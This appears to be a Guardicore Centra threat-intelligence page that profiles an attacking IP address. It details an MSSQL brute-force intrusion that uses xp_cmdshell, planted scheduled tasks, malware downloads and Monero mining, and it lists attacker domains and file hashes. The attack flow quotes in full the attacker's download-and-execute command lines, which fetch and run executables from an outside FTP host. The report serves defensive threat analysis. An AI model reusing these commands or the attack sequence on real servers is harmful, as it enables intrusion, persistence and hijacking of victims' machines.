IP Address: 23.88.224.23Previously Malicious

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IP Address:
23.88.224.23​
Previously Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL

Tags

Listening Download and Execute CMD MSSQL Brute Force IDS - A Network Trojan was detected Execute MsSql Shell Command System File Modification MSSQL Null Session Login MSSQL Outgoing Connection IDS - Attempted User Privilege Gain Successful MSSQL Login Access Suspicious Domain Scheduled Task Creation Persistency - Logon Service Configuration DNS Query Drop MsSql Table Create MsSql Procedure File Operation By CMD

Associated Attack Servers

pool.minexmr.com js.1226bye.xyz gamesoxalic.com js.1226bye.pw triangleww.com down.1226bye.pw

223.25.247.240 66.117.6.174

Basic Information

IP Address

23.88.224.23

Domain

-

ISP

Enzu

Country

United States

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-04-02

Last seen in Guardicore Centra

2019-11-17

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: White List (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

MSSQL procedures were created: sp_addextendedproc , sp_addlogin , sp_addsrvrolemember , sp_droplogin and sp_password

Create MsSql Procedure

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_reg* - registry access

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

MSSQL tables were dropped: #A1E8A56F and #A3D0EDE1

Drop MsSql Table

IDS detected Attempted User Privilege Gain : sp_start_job - program execution

IDS - Attempted User Privilege Gain

Process c:\windows\system32\ftp.exe attempted to access suspicious domains: down.1226bye.pw and gamesoxalic.com

DNS Query Outgoing Connection Access Suspicious Domain

Process c:\windows\system32\ftp.exe generated outgoing network traffic to: 66.117.6.174:21

Outgoing Connection

Process c:\windows\system32\regsvr32.exe attempted to access suspicious domains: js.1226bye.pw

DNS Query Access Suspicious Domain

c:\program files\microsoft sql server\mssql11.sqlexpress\mssql\binn\sqlservr.exe set the command line cmd /c start /min c:\windows\system32\wbem\123.bat to run using Persistency - Logon

Persistency - Logon

MSSQL executed 1 shell commands

Execute MsSql Shell Command

Process c:\windows\temp\conhost.exe started listening on ports: 32831

Listening

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified 4 times

System File Modification

Process c:\windows\inf\lsmm.exe started listening on ports: 32832

Listening

IDS detected A Network Trojan was detected : DNS request for Monero mining pool

IDS - A Network Trojan was detected

Process c:\windows\inf\lsmm.exe attempted to access domains: pool.minexmr.com

DNS Query

The file C:\Windows\s.exe was downloaded and executed

Download and Execute

Process c:\windows\s.exe generated outgoing network traffic to: 223.25.247.240:80

Outgoing Connection

Process c:\windows\s.exe attempted to access suspicious domains: triangleww.com

Outgoing Connection Access Suspicious Domain

The file C:\Windows\System\msinfo.exe was downloaded and executed

Download and Execute

The file C:\Windows\SysWOW64\wpcap.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The file C:\Windows\SysWOW64\npptools.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The command line c:\windows\system\my1.bat was scheduled to run by modifying C:\Windows\Tasks\my1.job

The command line c:\windows\system\my1.bat was scheduled to run by modifying C:\Windows\System32\Tasks\my1

Process c:\windows\system32\regsvr32.exe attempted to access suspicious domains: js.1226bye.xyz

DNS Query Access Suspicious Domain

The command line cmd /c echo open ftp.0603bye.info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa

The command line rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa1

The command line cmd /c echo open ftp.0603bye.info>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa2

The command line cmd /c echo open ftp.0603bye.info>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa3

The command line rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\ok

Connection was closed due to timeout

Associated Files

C:\Windows\SysWOW64\wpcap.dll

SHA256: b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

282360 bytes

C:\Windows\SysWOW64\npptools.dll

SHA256: 366b77df76729d08687051c1ec4b718ba1d650bca5b16eb15ec5c11570d6ff16

48128 bytes

C:\Windows\System\msinfo.exe

SHA256: 0ec4653e8322a95a6999cf4dc636d691de9d1a9c2cb383296335923405b77b12

6032384 bytes

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IP Address: 23.88.224.23​Previously Malicious